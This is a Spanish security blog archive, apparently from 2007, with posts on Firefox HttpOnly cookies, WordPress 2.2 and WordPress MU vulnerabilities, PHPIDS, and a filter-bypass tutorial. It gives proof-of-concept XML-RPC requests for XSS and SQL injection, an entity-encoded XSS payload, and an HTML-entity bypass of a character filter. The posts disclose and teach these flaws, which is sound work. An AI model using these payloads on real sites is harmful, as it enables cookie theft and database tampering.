Category: XSS

Categories
Firefox Seguridad Web XSS

Firefox 2.0.0.5 finalmente implementa las cookies HttpOnly

Un poco antes de lo esperado, esta última actualización de Firefox (2.0.0.5), finalmente incluye el soporte para cookies HttpOnly.

Ejemplos de uso en ASP.NET y PHP:

asp:

<%@ Page Language="C#" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<script runat="server">

    protected void Page_Load(object sender, EventArgs e)
    {
        Response.Cookies["Demo"].Value = "Prueba";
        Response.Cookies["Demo"].Secure = true;
    }
</script>

<html xmlns="http://www.w3.org/1999/xhtml" >
<head runat="server">
    <title>HttpOnly Firefox 2.0.0.5</title>
    <script type="text/javascript">
    alert(document.cookie);
    </script>
</head>
<body>

</body>
</html>

php:

<?php

// PHP 4
setcookie('foo', 'test', null, '/;HttpOnly');
/*
PHP 5

setcookie('foo', 'test', null, null, null, true);
// o
ini_set("session.cookie_httponly", 1);
// o
session_set_cookie_params(0, NULL, NULL, NULL, TRUE);
*/

?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
    <title>HttpOnly Firefox 2.0.0.5</title>
        <script type="text/javascript">
            //<![CDATA[
            alert(document.cookie)
            //]]>
        </script>
</head>
</html>

Como mencioné anteriormente, esta característica no es la panacea para evitar el robo de cookies a través de XSS, pero por lo menos reducirá un poco los vectores de ataque.

Categories
Sql Injection Web WordPress XSS

XSS, SQL Injection, Arbitrary File Upload en WordPress

A los dos problemas de seguridad que reporté previamente en WordPress 2.2, se suman otros cuatro que en su mayoría afectan a aquellos blogs que dejan registrar a usuarios (como colaboradores). En vista de que en realidad muchos blogs -- al menos de los que conozco -- tienen esta opción deshabilitada, el radio de acción no es tan grande; sin embargo, estos mismos bugs en páginas que ofrecen blogs gratis basados en WordPress MU, corren mucho riesgo.

  1. XSS: WordPress permite subir sólo cierto tipo de archivos, los cuales son validados en base a la extensión del archivo (ver función wp_check_filetype en wp-includes/functions.php), como no existe ningún proceso que valide el contenido de esos archivos, es posible que éstos puedan contener código javascript incrustado en éste. Por ejemplo, si se hace la siguiente petición a xmlrpc.php:

    code:

    POST /xmlrpc.php HTTP/1.1
    Content-Type: text/plain
    Host: vulnerable.com
    Content-Length: 458

    <methodCall>
            <methodName>wp.uploadFile</methodName>
            <params>
            <param><value>1</value></param>
            <param><value>user</value></param>
            <param><value>password</value></param>
                    <struct>
                            <member><name>name</name><value>demo.gif</value></member>
                            <member><name>type</name><value>image/gif</value></member>
                            <member><name>bits</name><value><![CDATA[<script>alert(document.cookie)</script>]]></value></member>
                    </struct>
            </params>
    </methodCall>

    Puesto que a Internet Explorer le gusta facilitar los ataques XSS, si alguien accede con este navegador a http://victima.com/wp-content/uploads/año/mes/demo.gif, se mostrará un mensaje mostrando las cookies de ese usuario.

  2. SQL Injection: Este problema se presenta en la función mw_editPost de xmlrpc.php, debido a que no escapa los parámetros en el orden adecuado, si revisan el código de esa función, van a encontrar algo parecido a:

    php:

    postdata = wp_get_single_post($post_ID, ARRAY_A);

    // If there is no post data for the give post id, stop
    // now and return an error.  Other wise a new post will be
    // created (which was the old behavior).
    if(empty($postdata["ID"])) {
            return(new IXR_Error(404, __("Invalid post id.")));
    }

    extract($postdata);
    $this->escape($postdata);

    Gracias a este pequeño error, es posible realizar un ataque de inyección de SQL usando el campo post_password (20 caracteres). La siguiente prueba de concepto actualizará todas las entradas con el título foo:

    • Crear una nueva entrada y asignarle como contraseña: '/*
    • Realizar la siguiente petición a xmlrpc.php.
      code:

      POST /wp/xmlrpc.php HTTP/1.1
      User-Agent: Fiddler
      Host: localhost
      Content-Length: 390

      <methodCall>
         <methodName>blogger.newPost</methodName>
         <params>
           <param><value>0</value></param>
           <param><value>0</value></param>
           <param><value>alex</value></param>
           <param><value>1234</value></param>
           <struct>
               <member><name>title</name><value>foo</value></member>
           </struct>
           <param><value>0</value></param>
         </params>
      </methodCall>

    Don't try it at home.

  3. Arbitrary File Upload: Este sin duda es el más grave de todos porque permite a un atacante subir cualquier tipo de archivos, más adelante publicaré los detalles.

  4. XSS: Este bug se basa en lo que comentábamos el otro día sobre XSS y las peculiaridades de los navegadores, están afectadas casi todas las páginas que hacen uso de la función js_escape. Por ejemplo, pueden reproducir el problema en wp-admin/edit-comments.php:

    • Hacer un comentario en alguna entrada y poner como nombre &#x27;)||alert(document.cookie)//
    • Intentar eliminar o marcar como spam ese comentario.

Según la respuesta de uno de los desarrolladores de WordPress, la solución para el primer problema se va a postergar hasta la salida de la versión 2.2.2.

Dado que son varios los cambios que hay que hacer para estar un poco más seguros, les recomiendo que actualicen por lo menos a la versión 2.2.1* ó 2.0.11 para los que todavía sigan en la rama 2.0.

*: durante la edición de esta entrada se reportó otros pequeños problemas de SQL Injection. 😉
Disculpen por el título amarillista, no se me ocurrió otra cosa. 😀

Categories
.NET ASP.NET Miniposts PHP Seguridad Sql Injection Web XSS

Versión estable de PHPIDS (Intrusion Detection System)

Hoy acaban de anunciar que ya existe un versión estable de PHPIDS, un sistema de detección de intrusos basado en expresiones regulares. Pueden descargar el código desde el repositorio o hacer pruebas para ver como funciona esta pequeña librería.

Por otro lado, también existe .NETIDS, que es una versión en .NET -- realizada por Martin Hinks -- de PHPIDS.

Categories
CSRF Seguridad Sql Injection Web WordPress XSS

Múltiples vulnerabilidades en la última version estable de WordPress MU

WordPress MU, es una versión de WordPress que soporta múltiples blogs. Tanto WordPress como WordPress MU comparten gran parte de código y por lo tanto, es lógico que casi siempre sufran los mismos problemas de seguridad*.

Luego de mirar un rato el código de la última versión estable de WordPress MU, veo que el casi inofensivo** problema de seguridad que reporté el lunes pasado en WordPress, tiene consecuencias más peligrosas en la versión multiblog puesto que cualquiera puede registrarse en sitios que usen este CMS. Por las pruebas que hice, el exploit funciona sin realizar ningún cambio.

Por otro lado, las versiones menores iguales a 1.2.1 son posiblemente vulnerables a todos los bugs reportados meses atrás. Por tanto, lo más seguro mientras liberan actualizaciones de seguridad es usar la versión en desarrollo.

*: un problema similar existe entre menéame y pligg, este último no ha corregido varios de los fallos reportados en el primero (y viceversa).
**: pocos blogs dejan que los usuarios se registren libremente.

Categories
Firefox Internet Explorer Seguridad Web XSS

XSS y las peculiaridades de los navegadores

Hay ocasiones en que la forma como interpreta HTML un navegador puede producir algunos problemas de seguridad, esto normalmente se debe a descuidos de un programador que asume cierta funcionalidad.

Veamos el siguiente ejemplo — basado en una aplicación del mundo real ™ — que muestra un caso de estos:

php:

<?php

if (empty($_GET['el'])) {
        die;
}
/* Función genérica que sirve para eliminar ciertos caracteres */
function clean_input_string($string) {
        return preg_replace('/[ <>\'"\r\n\t\\()]/', '', stripslashes($string));
}

$elemento = clean_input_string($_GET['el']);

?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
    <title>Demo</title>
        <script type="text/javascript">
            //<![CDATA[
            function ponerFoco(id){
                        var elemento = document.getElementById(id);
                        if (!elemento) return;
                        elemento.focus();
                }
            //]]>
        </script>
</head>

<body onload="ponerFoco('<?php echo $elemento; ?>')">   

        <form method="post" action="foo.php">
            <input type="text" name="usuario" id="usuario" />
                <input type="text" name="contrasena" id="contrasena" />
               
                <input type="submit" name="postback" value="Entrar »" />
        </form>
</body>

</html>

Como se puede observar, el código lo único que hace es intentar poner el foco en el elemento que se especifique en el parámetro el, éste valor antes es filtrado (elimina los caracteres espacio, <, >, ', ", \r, \n, \t, (, ) y \ ) por la función de propósito general clean_input_string — la aplicación de donde se tomó el código hace uso de esa función en varias partes.

Puesto que se eliminan los caracteres \, (, ) y ', en circunstancias normales no debería ser posible ejecutar javascript en el ejemplo mostrado; si el contiene ');alert(document.cookie)// entonces lo que llega al navegador es <body onload="ponerFoco(';alertdocument.cookie//')">, valor completamente inofensivo para nuestros propósitos.

Haciendo unas pruebas con un valor parecido al anterior, pero esta vez usando entidades HTML en lugar de los caracteres que son eliminados por la función clean_input_string, se consiguen resultados interesantes. Por ejemplo, para el = &#39;&#41;;alert&#40;document.cookie&#41;//, el HTML generado es:

html:

<body onload="ponerFoco('');alert(document.cookie)//')">

A simple vista, parece igual de inofensivo que el anterior caso, sin embargo si esa página carga en Firefox o Internet Explorer (no probé con otros navegadores), además de ejecutarse la función ponerFoco, se mostrará un mensaje mostrando las cookies almacenadas.

Este tipo de problemas se pueden solucionar evitando en lo posible enviar directamente los valores que dependen del cliente, definiendo filtros más específicos (formatos de identificadores válidos) o separando la generación de javascript y HTML en documentos distintos.